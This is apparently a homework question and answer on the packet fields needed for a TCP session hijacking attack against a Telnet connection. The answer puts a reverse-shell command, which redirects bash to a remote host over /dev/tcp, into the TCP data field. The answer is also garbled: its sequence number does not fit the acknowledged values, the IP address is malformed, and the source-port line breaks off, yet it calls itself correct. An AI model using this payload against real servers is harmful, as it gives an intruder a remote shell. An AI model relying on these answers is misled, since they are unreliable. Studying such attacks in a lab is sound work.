Question

There is an active Telnet connection from a client (10.0.2.5) to a Telnet server(10.0.2.9). The server has just acknowledged a sequence number1000, and the client has just acknowledged a sequence number 3000. An attacker wants to launch the TCP session hijacking attack on the connection, so he can execute a command on the server. He is on the same local area network as these two computers. You need to construct a TCP packet for the attacker. Please fill in the following fields:

• Source IP and Destination IP
• Source port and Destination port
• Sequence number
• The TCP data field.

Answer 1

Answer is mentioned below.

Step-by-step explanation:

• Source IP and Destination IP: 10.0.2.5, 10.0.2.9

• Source port and Destination port: for source port, we need to sniffer a packet in this
• Sequence number: 3001
• The TCP data field: “/bin/bash –l > /dev/tcp/10.0.20/9090 2>&1 0<&1”

I hope you find the answer helpful. All the codes are correctly mentioned. Thanks